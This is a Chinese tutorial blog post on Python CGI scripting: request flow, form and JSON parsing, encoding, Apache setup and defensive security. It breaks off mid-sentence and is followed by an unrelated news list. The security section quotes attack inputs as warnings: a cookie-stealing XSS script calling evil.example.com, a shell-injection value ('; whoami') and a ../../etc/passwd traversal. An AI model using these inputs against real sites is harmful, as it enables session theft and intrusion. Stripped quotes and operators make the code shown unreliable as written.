Python CGI编程实战:从请求原理到安全防护 上周帮一个朋友抢救旧服务器打开/var/www/cgi-bin的时候我看到了一个快十年没动过的hello.py。第一行还是#!/usr/bin/env python3后面跟着一串print(html...)。放在今天很多人第一反应是“这玩意儿早淘汰了”可它在这台机器上稳定跑了六七年中间没升级过一次框架也没人愿意去重构。我一直觉得程序员可以不用 CGI 写生产系统但不能不懂 CGI。它是最直观的“HTTP 请求是怎么走到代码里”的模型浏览器发一个请求Web 服务器把这个请求翻译成环境变量和标准输入交给 Python 脚本处理脚本把标准输出原样送回浏览器。Python CGI 编程的核心就是把这一进一出的规矩吃透。这篇文章我会从 CGI 的底层机制讲起带你搭一个能跑的最小环境然后处理 GET/POST 表单、JSON 请求、中文乱码、安全问题最后把我在实际操作里踩过的坑和排查套路一起列出来。不管你是刚装好 Python 准备入门还是已经有 Web 框架基础想补补底层知识跟着走一遍都能跑起来。1. 在很多人眼里 CGI 已经过时但它为什么还没退场1.1 一次 CGI 请求从浏览器到 Python 脚本的完整链路先别急着写代码把链路理解透后面排错会轻松很多。假设你访问的是http://your-server/cgi-bin/hello.py?namezhangWeb 服务器是 Apache。Apache 看到 URL 路径里有/cgi-bin/就知道这个请求不应该当静态文件返回而是要启动一个外部程序来处理。处理过程大致是这样Apache 根据配置找到/cgi-bin/hello.py这个文件。检查文件是否有执行权限然后用当前 Web 用户的身份去执行这个脚本。执行前Apache 把 URL 里的namezhang放到环境变量QUERY_STRING把请求方法放到REQUEST_METHOD把客户端 IP 放到REMOTE_ADDR等等。如果是 POST 请求请求体会通过标准输入流传给脚本脚本再从CONTENT_LENGTH环境变量里知道请求体有多长。脚本往标准输出写内容先是响应头再是空行最后是响应正文。脚本退出Apache 把这堆输出原样打包成 HTTP 响应送回浏览器。也就是说CGI 脚本不需要监听端口不需要自己解析 TCP 数据包它只需要读环境变量、读标准输入、写标准输出。这也是 CGI 能被几十种语言使用的原因Perl 能写、Shell 能写、C 能写Python 自然也能写。对想搞懂 Web 原理的新手来说这套流程比直接上 Flask/Django 更容易建立心智模型因为你亲眼看到了“请求”到底是以什么形式进入程序的。1.2 Web 服务器传给 Python 脚本的“环境变量”到底有哪些CGI 里最常用的一批环境变量我把它们整理成了一张表建议保存下来环境变量含义典型示例REQUEST_METHODHTTP 请求方法GET、POSTQUERY_STRINGURL 问号后面的原始参数namezhangage18CONTENT_LENGTH请求体的字节长度13CONTENT_TYPE请求体的 MIME 类型application/x-www-form-urlencodedSCRIPT_NAME被请求的脚本路径/cgi-bin/hello.pyPATH_INFO脚本名后面追加的路径/extraREMOTE_ADDR客户端 IP 地址192.168.1.100HTTP_USER_AGENT浏览器 UAMozilla/5.0...HTTP_COOKIE请求带上的 Cookie原始字符串SERVER_NAME服务器域名your-server.com为什么 Web 服务器不把参数直接打包成一个大 JSON 传给脚本因为 CGI 的制定时间太早了为了不限制编程语言只能选择“操作系统自带”的进程通信能力——环境变量和标准输入输出。每个语言都能读取环境变量每个语言默认都会往标准输出写东西所以 CGI 的通用性极强。1.3 CGI 最大的毛病是“每次请求都重新启动一个进程”CGI 被很多人嫌弃核心原因就一点每个请求都要 fork 一个新进程来执行脚本。如果脚本是 Python那就意味着每次请求都可能要重新加载 Python 解释器、重新导入模块这个开销比常驻内存的 WSGI 服务高很多。再加上 HTTP 本身无状态CGI 脚本也没有办法在进程之间共享内存会话所以想自己做登录状态管理会很麻烦。但换一个角度看如果你的场景是公司内网工具、个人服务器上的小接口一天可能就几百次请求CGI 这点开销根本感知不到。我的观点是新项目、高并发、复杂业务不要用 CGI但老系统维护、临时工具、教学演示CGI 反而因为简单直接而更省心。2. 动手准备搭一个能跑 CGI 的最小环境2.1 Python 版本选择和 CGI 模块现状在写第一个脚本前先确认你机器上的 Python 版本。虽然 CGI 本身不挑版本但 Python 标准库里的cgi和cgitb模块在 Python 3.11 开始被标记为弃用到了 Python 3.13 已经被移除了。如果你在 Python 3.13 环境里直接写import cgi会得到一个ModuleNotFoundError: No module named cgi。所以想省事的话部署环境建议用 Python 3.8 到 3.12 之间的版本。如果项目被迫必须在 3.13 上跑可以通过pip install legacy-cgi装一个第三方兼容包也可以完全绕开cgi模块自己用os.environ、sys.stdin和json解析请求后面我会给出这种写法。如果你是在 Windows 上做本地测试装 Python 的时候记得勾选Add Python to PATH然后在 VSCode 或 PyCharm 里把解释器指到对应版本CGI 练习不需要额外装插件直接跑http.server就行。2.2 5 分钟本地跑起第一个 Python CGI 脚本不想一开始就折腾 Apache 的话用 Python 自带的http.server最方便。需要注意的是它只把/cgi-bin/目录下的文件当 CGI 脚本执行所以目录结构必须是这样mkdir -p cgi-demo/cgi-bin cd cgi-demo然后新建cgi-bin/hello.py#!/usr/bin/env python3 # -*- coding: utf-8 -*- print(Content-Type: text/html; charsetutf-8) print() print(h1Hello, CGI/h1)给脚本加执行权限在cgi-demo目录下启动服务chmod x cgi-bin/hello.py python3 -m http.server --cgi 8000浏览器访问http://127.0.0.1:8000/cgi-bin/hello.py能看到一个加粗的标题页面。这个脚本里最重要的就是两个空行逻辑第一行print输出的是 HTTP 响应头第二个单独的空print()负责输出空行表示“响应头结束正文从这里开始”。少了那个空行Web 服务器会认为你还停留在响应头阶段页面就会报错。2.3 把 CGI 部署到 Apache 上配置怎么写才算规范如果你要在真实服务器上跑Apache 是最经典的搭档。以 Ubuntu/Debian 为例启用 CGI 模块后编辑站点配置ScriptAlias /cgi-bin/ /var/www/cgi-bin/ Directory /var/www/cgi-bin Options ExecCGI AddHandler cgi-script .py .cgi Require all granted /DirectoryScriptAlias的作用是把 URL 里的/cgi-bin/映射到磁盘上的/var/www/cgi-bin/目录。Options ExecCGI允许该目录执行 CGI 程序AddHandler cgi-script .py .cgi告诉 Apache 哪些后缀的文件要当脚本执行而不是当静态文件直接返回源代码。如果脚本放在普通网站根目录不是/cgi-bin/你需要在对应 Directory 里加上Options ExecCGI和AddHandler cgi-script .py否则访问到的就是你 .py 文件的源码。改完配置记得重新加载sudo systemctl reload apache2这里有个细节脚本文件所有者和 Web 用户的关系要理清。Apache 通常以www-data用户运行所以脚本至少要能被www-data读取和执行。如果你把脚本放在 root 用户目录权限设成 700那 CGI 执行时大概率 500。2.4 脚本输出规范你能看到的每一段响应都是自己写的在 CGI 里Python 脚本对整个 HTTP 响应负责。响应头可以写Content-Type、Content-Length、Location、Status等。常用的最小模板长这样#!/usr/bin/env python3 import sys if hasattr(sys.stdout, reconfigure): sys.stdout.reconfigure(encodingutf-8) sys.stdout.buffer.write( bContent-Type: text/html; charsetutf-8\r\n bContent-Length: 19\r\n b\r\n bh1Hello, CGI/h1 )注意这里的响应头换行我写了\r\n。HTTP 规范里响应头每行必须用 CRLF也就是回车加换行。Python 的print()默认只输出\n在我测试的多数服务器上能用但如果你想做到最稳妥更建议用sys.stdout.buffer.write手动控制。上面这段代码里我顺带加了Content-Length它的值是正文的字节数不是字符数。因为如果正文含中文一个汉字在 UTF-8 编码下是 3 个字节如果长度算错浏览器可能会截断内容。3. 核心实操GET、POST、表单数据与 JSON 请求体3.1 用 FieldStorage 解析表单数据早期写 CGI需要自己分解QUERY_STRING或者从sys.stdin读 POST 数据再urllib.parse.parse_qs。Python 标准库提供的cgi.FieldStorage把这些脏活累活都干了它会根据请求方法自动选择数据来源。看一个 GET 请求的例子。访问http://127.0.0.1:8000/cgi-bin/show.py?namezhangcitybeijing脚本里这样取参数#!/usr/bin/env python3 import cgi form cgi.FieldStorage() name form.getfirst(name, ) city form.getfirst(city, )Post 提交application/x-www-form-urlencoded类型的数据时FieldStorage也会自动读取sys.stdin所以同样的代码能兼容 GET 和 POST这确实省了不少事。要注意的是如果同一个字段名出现了多次比如 URL 是?tagpythontagcgiform.getvalue(tag)可能返回一个列表。想准确拿到全部值用form.getlist(tag)只想拿第一个值用form.getfirst(tag, )这样更明确。FieldStorage还能处理文件上传。如果表单项类型是文件form[file].file是一个文件对象下面.filename是文件名。不过文件上传会带来大小和安全问题后面我会专门说。3.2 书写一个完整的表单回显页面我把一个典型的“姓名表单 回显”放在一起完整代码如下#!/usr/bin/env python3 import cgi import html import sys if hasattr(sys.stdout, reconfigure): sys.stdout.reconfigure(encodingutf-8) form cgi.FieldStorage() name form.getfirst(name, ) # 为什么要 html.escape # 如果用户输入 scriptalert(xss)/script # 不转义的话浏览器会当成真正的脚本执行。 name html.escape(name, quoteTrue) body f!DOCTYPE html html headmeta charsetutf-8title表单回显/title/head body form methodpost 姓名input namename value{name} button typesubmit提交/button /form p你好{name}/p /body /html.encode(utf-8) sys.stdout.buffer.write( bContent-Type: text/html; charsetutf-8\r\n bContent-Length: str(len(body)).encode(ascii) b\r\n b\r\n ) sys.stdout.buffer.write(body)这里有两个非常容易被新手忽略的点。第一点是html.escape。CGI 没有框架帮你做模板转义所有用户输入都会被原样塞进 HTML如果不转义用户提交一个script就可能打出 XSS轻则弹窗闹着玩重则窃取 Cookie。第二点是str.encode(utf-8)。Python 的字符串长度和 UTF-8 编码后的字节长度不是一回事如果直接len(body)当Content-Length遇到中文就会截断。我习惯把所有正文先编码成字节再用len(encoded_body)这样一定准。3.3 中文乱码问题为什么总是出现很多人在 Python CGI 里一输出中文就乱码或者直接报UnicodeEncodeError。这里要搞清楚一个关键点Python 3 里标准输出默认用什么编码取决于运行环境而不是取决于你代码文件是什么编码。如果服务器的 locale 是C或者POSIXPython 的 stdout 可能被设置成 ASCII你写print(你好)就会抛错因为在它眼里 ASCII 编码不支持“你”这个字。即使不抛错如果响应头里没有charsetutf-8浏览器也可能用默认的编码猜乱码就出现了。所以两条都要做第一是 HTTP 响应头必须写Content-Type: text/html; charsetutf-8告诉浏览器用 UTF-8 解码第二是强制让脚本输出到 stdout 时使用 UTF-8 编码。最简单的做法是在脚本一开始加入import sys if hasattr(sys.stdout, reconfigure): sys.stdout.reconfigure(encodingutf-8)reconfigure是 Python 3.7 以后才有的方法所以用hasattr判断一下老版本不会崩。如果你代码里用sys.stdout.buffer.write直接写字节那就完全没有 stdout 编码问题了这也是我更喜欢手动控制编码的原因。3.4 前端用 fetch 提交 JSON为什么 FieldStorage 取不到数据现在很多前端交互已经不用传统表单了而是用 fetch 发一段 JSONfetch(/cgi-bin/api.py, { method: POST, headers: { Content-Type: application/json }, body: JSON.stringify({ name: zhang }) });这种请求体不是键值对格式cgi.FieldStorage解析不出来你会拿到一个空表单。解决办法是手动读取标准输入#!/usr/bin/env python3 import os import sys import json if hasattr(sys.stdout, reconfigure): sys.stdout.reconfigure(encodingutf-8) length int(os.environ.get(CONTENT_LENGTH) or 0) raw_body sys.stdin.read(length) if length 0 else try: payload json.loads(raw_body) if raw_body else {} except json.JSONDecodeError: payload {} name payload.get(name, )这段代码的关键是只读CONTENT_LENGTH指定的字节数不要无限read()。因为 Web 服务器传给 CGI 脚本的 stdin 在请求体结束后可能并不会立刻关闭直接read()有可能一直阻塞等到超时。能用这种方式处理 JSON就不需要依赖cgi模块了哪怕在 Python 3.13 上也能正常跑。这对未来维护意义很大因为标准库移除cgi已经是大趋势。3.5 一个可复用的 JSON 接口完整模板我把自己常用的 JSON 返回逻辑封装成了模板直接保存成一个 .py 放到/cgi-bin/就能用#!/usr/bin/env python3 import os import sys import json if hasattr(sys.stdout, reconfigure): sys.stdout.reconfigure(encodingutf-8) MAX_BODY 1024 * 1024 # 限制 1MB def send_json(data, status200 OK): body json.dumps(data, ensure_asciiFalse).encode(utf-8) sys.stdout.buffer.write( fStatus: {status}\r\n.encode(ascii) bContent-Type: application/json; charsetutf-8\r\n bContent-Length: str(len(body)).encode(ascii) b\r\n b\r\n ) sys.stdout.buffer.write(body) def read_json_body(): try: length int(os.environ.get(CONTENT_LENGTH) or 0) except ValueError: length 0 if length MAX_BODY: return None, 请求体超过大小限制 raw sys.stdin.read(length) if length 0 else if not raw: return {}, try: return json.loads(raw), except json.JSONDecodeError: return None, JSON 格式错误 data, err read_json_body() if err: send_json({ok: False, error: err}, 400 Bad Request) else: send_json({ok: True, echo: data})这段代码里我写了Status头可以让 CGI 返回非 200 的状态码。注意Status: 200 OK这种写法只有非 NPH 的 CGI 才支持常规 Apache CGI 完全没问题。如果脚本名以nph-开头那表示你打算自己输出完整 HTTP 状态行情况又不一样不过日常开发很少遇到。4. 安全CGI 没有框架给你兜底必须自己把关4.1 XSS 的第一道防线转义一切动态输出用 CGI 写页面最危险的习惯就是把用户输入直接拼进 HTML。有人在代码里写print(fp欢迎{name}/p)如果用户输入的是scriptdocument.locationhttp://evil.example.com/steal?cookiedocument.cookie/script浏览器渲染时就会执行这段恶意代码。CGI 不像主流模板引擎自带自动转义所以每次输出用户可控内容到 HTML都建议过一遍html.escape。转义后会变成lt;脚本标签只会被当成普通文本显示不会执行。同理如果要把用户输入输出到 URL 参数里用urllib.parse.quote输出到 JS 字符串变量里那更复杂压根不建议你把用户内容直接塞进script里的 JSON 变量。4.2 命令注入别在 CGI 里拼 shell 命令我看过有人图省事在 CGI 脚本里这样执行 pingimport os ip 127.0.0.1 os.system(ping -c 2 ip)这行代码一旦暴露到公网攻击者只要提交ip127.0.0.1; whoamishell 就会执行完 ping 再执行 whoami。再进一步就是读取系统文件、下载恶意程序。如果你确实需要调用外部程序用subprocess的列表形式不要开 shellimport subprocess ip 127.0.0.1 result subprocess.run( [ping, -c, 2, ip], capture_outputTrue, textTrue, timeout5 ) print(result.stdout)列表形式不会经过 shell 解释所以;、|、$()都只是普通字符没法形成注入。实在没办法需要拼字符串时等于是把自己放到了危险边缘这个时候才需要用 shlex.quote 去转义但最好还是别走到这一步。4.3 路径穿越与文件上传限制如果脚本要根据PATH_INFO或某个参数去读文件比如用户传一个文件名namereport.txt你就用os.path.join拼了一个完整路径那用户传../../etc/passwd就能穿越目录读取任意文件。简单有效的思路是做两层限制第一层用os.path.basename只取文件名第二层把结果放进白名单里而不是直接用请求里的路径。import os filename os.path.basename(form.getfirst(file, )) ALLOWED {report-2025.txt, report-2024.txt} if filename not in ALLOWED: # 返回 403 ... else: path os.path.join(/data/reports, filename)文件上传更要注意cgi.FieldStorage会把上传的文件自动写到临时文件不会大到爆内存但你总得限制上传总大小否则一个巨大的上传请求也能耗光临时磁盘。Apache 层面可以设置LimitRequestBody 1048576代码层在读取上传文件内容时也要加固定长度的循环读取。4.4 只允许特定 IP 访问内部 CGI 接口如果你写的是内部运维工具没有登录系统最简单的安全策略之一就是 IP 白名单。CGI 环境变量里REMOTE_ADDR就是客户端 IP脚本开头检查一下import os allowed {127.0.0.1, 192.168.1.0} client_ip os.environ.get(REMOTE_ADDR, ) if client_ip not in allowed: sys.stdout.buffer.write(bStatus: 403 Forbidden\r\n\r\nForbidden) sys.exit(0)当然如果前端有 Nginx 反向代理REMOTE_ADDR可能永远是代理的 IP。这种情况下要看代理有没有把真实 IP 穿到X-Forwarded-For头里但不能直接信任这个头因为客户端也可以伪造必须让代理覆盖掉原值后才可信。这里水比较深内部工具如果不经过反向代理直接限制来源 IP 是最容易想到的方案。5. 真实环境里最常见的报错与排查套路5.1 浏览器返回 500 Internal Server Error第一刀砍向哪里500 是 CGI 新手遇到最多的报错。我的排查顺序固定不变先看 Apache 的错误日志然后在终端手动执行脚本最后用 curl 看响应。Apache 日志默认位置一般是/var/log/apache2/error.log执行sudo tail -n 50 /var/log/apache2/error.log如果错误日志提示No such file or directory: /usr/bin/env python

相关新闻

最新新闻

2026年电商物流成本与仓储费用怎么分析?三类工具横向对比与选型指南

2026年电商物流成本与仓储费用怎么分析?三类工具横向对比与选型指南

分析电商物流成本与仓储费用,市面上的工具按数据来源覆盖范围和分析自动化程度,大体可以分成三类:第一类是电商平台与业务系统(如 ERP、WMS 仓储系统)自带的报表,第二类是电子表格工具,第三类是…

2026/9/8 17:15:26
小白程序员必看!收藏这份Agent评估指南,轻松衡量AI效果与进化潜力!

小白程序员必看!收藏这份Agent评估指南,轻松衡量AI效果与进化潜力!

本文深入探讨了评估AI Agent的三个维度:可用性、效能、进化潜力,并提出了分层评估架构和四层指标仪表盘等实用方法。文章还分析了多Agent Loop评估的四大难题,并给出了务实解决方案。对于想要了解和提升AI项目评估能力的小白和程序员来说&…

2026/9/8 17:15:26
基于Linux的“山水观心”操作系统:用状态感知打造专注型系统

基于Linux的“山水观心”操作系统:用状态感知打造专注型系统

1. 为什么我会想做一款叫“山水观心”的操作系统先交代一下来龙去脉。我自己算是重度Linux用户,桌面端从Ubuntu用到Arch,再到KDE和Hyprland来回折腾,服务器端也维护过不少Debian系和RHEL系的机器。时间久了你会发现一件很讽刺的事&#xff1a…

2026/9/8 17:15:26
从接口盘点到AI辅助巡检:API安全测试闭环落地实践

从接口盘点到AI辅助巡检:API安全测试闭环落地实践

接口一多,安全最怕的不是漏洞藏得深,而是没人知道哪些接口开着。我之前负责的项目,API 数量从几十个涨到两百多以后,安全测试还是靠老办法:上线前拉人临时扫一轮,重点盯登录和支付。结果有次线上反馈用户能…

2026/9/8 17:15:26
SSD寿命监控与数据备份:别等掉盘才知道SMART和TBW有多重要

SSD寿命监控与数据备份:别等掉盘才知道SMART和TBW有多重要

前阵子群里有个朋友,新装了一块1TB的NVMe SSD,跑分漂亮得不行,结果用了半年忽然掉盘,最后数据恢复花了两千多。那会儿我们都劝他看一眼SMART信息,他说跑分看着好就行。后来我把自己手头几块用了三年的SSD健康数据摆给他…

2026/9/8 17:15:26
2026年AI论文写作网站哪家服务好?沁言学术用细节打动用户

2026年AI论文写作网站哪家服务好?沁言学术用细节打动用户

引言:随着 AI 论文辅助工具日益普及,科研人员在挑选平台时,关注点正在发生变化——不再单纯比较功能数量的多寡,而是更看重实际使用中的细节体验:学术合规是否到位、数据安全能否保障、本土场景适配是否深入。一款工具…

2026/9/8 17:10:25